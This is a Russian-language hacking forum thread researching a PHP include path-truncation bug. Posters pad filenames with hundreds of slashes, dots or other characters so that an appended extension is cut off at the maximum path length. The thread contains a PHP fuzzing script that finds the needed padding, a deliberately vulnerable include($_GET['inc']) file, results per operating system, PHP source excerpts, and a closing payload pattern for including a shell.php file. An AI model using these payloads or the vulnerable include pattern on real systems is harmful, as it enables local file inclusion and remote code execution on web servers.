вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.
Вообщем написал скрипт для быстрой проверки. Складываем в папку z:/home/localhost/www/testinc/ Скрипт становится доступным по адресу http://www.localhost/testinc/test.php Скрипт который запускаем (test.php) PHP: <?php $evilstr = ""; $fp = fopen("log.txt","a"); for ($x=0;$x<=500;$x++){ $evilstr .= "<"; $content = file_get_contents("http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr); if (preg_match("#(.*)bugworking(.*)#",$content,$matches)){ echo "http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr."\r\n"; die ("Bug working with $x added chars"); }else{ fputs($fp, $content."\r\n\r\n"); } } fclose($fp); ?> Скрипт который инклюдит inc.php ложим туда же PHP: <?php error_reporting(E_ALL); include($_GET['inc'].".txt"); ?> и ложим файл vuln.txt с содержимым PHP: -bugworking- запускаем в браузере http://www.localhost/testinc/test.php Получаю в ответ, что бага работает 216 символов и более. Версии PHP Version => 5.2.4 Windows NT XHOME 5.1 build 2600 Build Date хр короче Apache 2.2.4 но стоит прописать абсолютный путь в любом варианте, и больше ни чё не пашет. PHP: <?php error_reporting(E_ALL); include("Z:/home/localhost/www/testinc/".$_GET['inc'].".txt"); ?> Внимание вопрос. Почему ? У кого есть идеи ? то есть я не вижу объективных причин не работать с абсолютным путём.
вот проверил несколько функций, как то странно. require_once - работает require - работает include - работает include_once - работает file_get_contents - не работает fopen - не работает file - не работает readfile - не работает почему только функции инклюда подвержены ? а Virtual и другие не пашут.
Угу, к тому же они не оч сложные. Надеюсь если их скомпилировать, бага останется. Имхо там гдето тупой оверфлоу должен быть, а длина обусловлена расстоянием до той строки которая фактически передастся в функцию инклуда (или может там отдельно как нибудь текущая дира передаётся и её значение и переписывается этим методом?), но это догадки. Пока времени посмотреть нет P.S. php-5.2.6-Win32 пример от SQLHACK работает, выдаёт "Bug working with 219 added chars". P.P.S. С абсолютным путём кстати и может неработать, если переписывается имено указатель на текущую директорию, относительно которой относительный путь конвертится в абсолютный. А в случае абсолютного пути, нет необходимости в вычеслении действительного пути.
есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути
Не обязательно должен падать, мож строка где нибудь обрезается после какого нибудь предела, а всё что переписывается отношения к исполняемому коду не имеет. А вот ещё один признак того, что скорее всего переписывается результат функции getcwd (получение текущего каталога), ну и причина того, что абсолютные пути не пашут: P.S. Вот тут: http://bugs.php.net/bug.php?id=41822 написано, что include с относительным путём вызывает getcwd.
По ходу уязвимость где-то в этих функциях: PHP: static int php_stream_open_for_zend(const char *filename, zend_file_handle *handle TSRMLS_DC) /* {{{ */ { return php_stream_open_for_zend_ex(filename, handle, ENFORCE_SAFE_MODE|USE_PATH|REPORT_ERRORS|STREAM_OPEN_FOR_INCLUDE TSRMLS_CC); } /* }}} */ PHPAPI int php_stream_open_for_zend_ex(const char *filename, zend_file_handle *handle, int mode TSRMLS_DC) /* {{{ */ { php_stream *stream; stream = php_stream_open_wrapper((char *)filename, "rb", mode, &handle->opened_path); if (stream) { handle->type = ZEND_HANDLE_STREAM; handle->filename = (char*)filename; handle->free_filename = 0; handle->handle.stream.handle = stream; handle->handle.stream.reader = (zend_stream_reader_t)_php_stream_read; handle->handle.stream.closer = stream_closer_for_zend; handle->handle.stream.fteller = stream_fteller_for_zend; handle->handle.stream.interactive = 0; /* suppress warning if this stream is not explicitly closed */ php_stream_auto_cleanup(stream); return SUCCESS; } return FAILURE; } php_stream_open_wrapper(); - предпологаю, что уязвимость где-то в ней
Я бы посмотрел ещё, где &handle->opened_path вычисляется.. З.Ы. Второй файл что ты выложил - не в тему, он для GZIP.
Сейчас сорцы качаю. Потому что ТОЛЬКО функции инклуда, вызывают функцию getcwd, для вычисления абсолютного пути по относительному (хех, я был прав, в том что проблема с вычислением пути по текущему, посмотрим прав ли в остальном)
А что если какая-то логическая ошибка => как-бы получается что функция выполняется, но значение параметра становится = '\0', что значит конец строки => обход magic_quotes'ов? Вот кое-чот интересное! Похоже на переполнение буфера! Возможно длина строки неправильно расчитывается PHP: /* no docref given but function is known (the default) */ if (!docref && is_function) { int doclen; if (space[0] == '\0') { doclen = spprintf(&docref_buf, 0, "function.%s", function); } else { doclen = spprintf(&docref_buf, 0, "%s.%s", class_name, function); } while((p = strchr(docref_buf, '_')) != NULL) { *p = '-'; } docref = php_strtolower(docref_buf, doclen); }
Тоже потестил, вот результат : Конфигурация: WinXP 32 bit, PHP 5.2.4, Апач 2.2.4 Работает Цифра это минимальное кол-во символов "."-218 " "пробел - никакой реакции "<"-218 ">"-218 С абсолютным путём не пашет Пока тестил только в include И обнаружился ещё один символ, с которым работает: "+"-218
кароч: файл plain_wrappers.c функция _php_stream_fopen_with_path: там же функция _php_stream_fopen (тоже что php_stream_fopen_rel) fname уже нормальный дальше файл fopen-wrappers.c функция expand_filepath: real_path уже нормальный, MAXPATHLEN везде (не знаю как там у вас в виндах) = 4096; ну что видно из этого идет везде сначала xxx.php/////////..../////////////.txt потом по MAXPATHLEN обрезается до xxx.php/////////..../////////////. дальше обрабатывается видимо функцией virtual_file_ex , она возвращает false и изменяет new_state.
у меня вот: PHP: <?php $f="aaaa.php".str_repeat('/',$argv[1]); $z=getcwd(); $u=$f.'.fffffffff'; $v=$z.'/'.$f; print strlen($v)."\n"; require($u); ?> [test@localhost cli]$ ./php ./test.php 4047 без точки не работает. ты писал что папка должна существовать. у меня выпоняется без этого условия.
FreeBSD 6.3, PHP 5.2.8 - работает без точки, какая у тебя система хоть? это относится к linux, хотя это понятие растяжимое ) на все том же FreeBSD 6.3, PHP 5.2.8 через несуществующую папку не инклудится =\
потом файл tsrm_virtual_cwd.c функция virtual_file_ex: тут TOKENIZER_STRING у меня равен "/" в винде наверно чтото другое. файл tsrm_strtok_r.c потом опять файл tsrm_virtual_cwd.c функция virtual_file_ex: и тут наверно и идет бага: ну а символ точка это как раз и есть 'IS_DIRECTORY_CURRENT' , следовательно можно использоывать не только длинную строчку из '/' а ещё и '/.' остается конечно не понятно почему без точки в конце не пашет
в винде по идее еще должно проходить с нормальным слешем и обратным: проверил php 4.4.9: файл streams.c функция _php_stream_fopen_with_path VCWD_STAT ( практически стандартная файловая функция stat ) проверяет сначала существует ли файл а потом php уже пытается открыть в пятой такого не заметил, тоесть у меня не заработало на четвертой версии, у вас как?
вот на php 4 можно так тогда, да и на пятой тоже соответственно: existing_dir/..//////////////////////// ... ///////////////////shell.php окончание если есть обрежет по maxpathlen тогда